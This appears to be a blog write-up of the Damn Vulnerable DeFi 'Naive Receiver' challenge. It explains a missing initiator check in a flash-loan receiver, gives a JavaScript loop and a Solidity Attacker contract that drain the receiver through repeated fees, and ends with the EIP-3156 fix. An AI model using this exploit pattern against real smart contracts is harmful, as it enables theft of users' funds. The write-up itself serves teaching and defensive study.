Damn Vulnerable DeFi – Naive Receiver

We have two contracts, one is a pool with 1000 ETH, the other is a borrowing contract set up by a supposedly naive user. This contract currently has custody of 10 ETH and our task is to identify a vulnerability that will allow us to drain the contract when exploited.

Reviewing the two contracts, we see that the only functions that affect balances are flashLoan in NaiveReceiverLenderPool.sol and onFlashLoan in FlashLoanReceiver.sol. Let’s take a closer look at these functions then as they would have a higher chance of containing the vulnerable functionality that will allow us to drain the user’s contract. In fact, the flashLoan function actually makes an external call to a onFlashLoan function of an arbitrary address (receiver parameter) as shown below:

if(receiver.onFlashLoan(
    msg.sender,
    ETH,
    amount,
    FIXED_FEE,
    data
    ) != CALLBACK_SUCCESS) {
        revert CallbackFailed();
}

Examining the naive user’s implementation of onFlashLoan, it becomes immediately clear that no checks or assertions are made on who initiated the flash loan. We can exploit this functionality, as proven below.

Assumptions

The below solutions assume that you are using v3.0.0 of Damn Vulnerable DeFi (published on 13 Jan 2023). The JavaScript used in conjunction with ethers.js may not function correctly otherwise.

Solution #1: Draining the contract

The naive user has implemented the onFlashLoan function but has failed to perform any proper checks on who is calling the function. This function is called by flashLoan in the lender contract. An attacker can call the flashLoan function and pass in the naive user’s contract as the receiver.

it('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */
    const ETH = await pool.ETH();
    await pool.connect(player).flashLoan(receiver.address, ETH, ETHER_IN_RECEIVER,"0x");
});

However, running ‘yarn run naive-receiver’ with the above solution results in an error:

  1 passing (2s)
  1 failing

  1) [Challenge] Naive receiver
       "after all" hook for "Execution":

      AssertionError: expected 9000000000000000000 to equal 0.

We can see from the error message that the assertion is expecting the balance of the user’s contract to be 0 ETH, and in our case it is 9 ETH. We need to adjust the above code (using a for loop) to repeat that transaction ten times to completely drain the contract.

it('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */
    /* solution 1 (10 transactions)
    const ETH = await pool.ETH();
    for (let i = 0; i < 10; i++){
        await pool.connect(player).flashLoan(receiver.address, ETH, ETHER_IN_RECEIVER,"0x");
    }
});

Solution #2: A single transaction

The challenge notes that it is possible to remove all the ETH from the user’s contract in a single transaction. In order to accomplish this we can build our own attacking contract. The contract is composed of a single function which is identical to our previous solution.

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";

contract Attacker {
    address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;

    function attack(IERC3156FlashLender pool, IERC3156FlashBorrower receiver, uint256 amount, bytes calldata data) public {
        for(uint8 i = 0; i < 10; i++){
            pool.flashLoan(receiver, ETH, amount, data);
        }
    }
}

We can then deploy and call this attacker contract using ethers.js and extract all the tokens out of the naive user’s contract with a single transaction. The following code assumes you created the above contract and saved it as ‘Attacker.sol’ in the naive-receiver contracts folder:

it('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */
    const AttackerContractFactory = await ethers.getContractFactory('Attacker', deployer);
    attacker = await AttackerContractFactory.deploy();
    const ETH = await pool.ETH();
    /* remove all eth from naive contract */
    await attacker.connect(player).attack(pool.address, receiver.address, ETHER_IN_RECEIVER,"0x");
});

And there you have it! The naive user’s contract was drained by a malicious user via calls to the lending contract.

The Fix: EIP-3156

The fix in this scenario is to follow EIP-3156 correctly. A correct initiator address (msg.sender) must be specified in the pool contract and passed to the borrower in flashLoan (when calling receiver.onFlashLoan). The borrower’s contract must then check that the address of the initiator is valid (either their own address or some approved whitelist) before taking any further action.

If you are interested in more posts like this please follow the blog or my twitter account.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: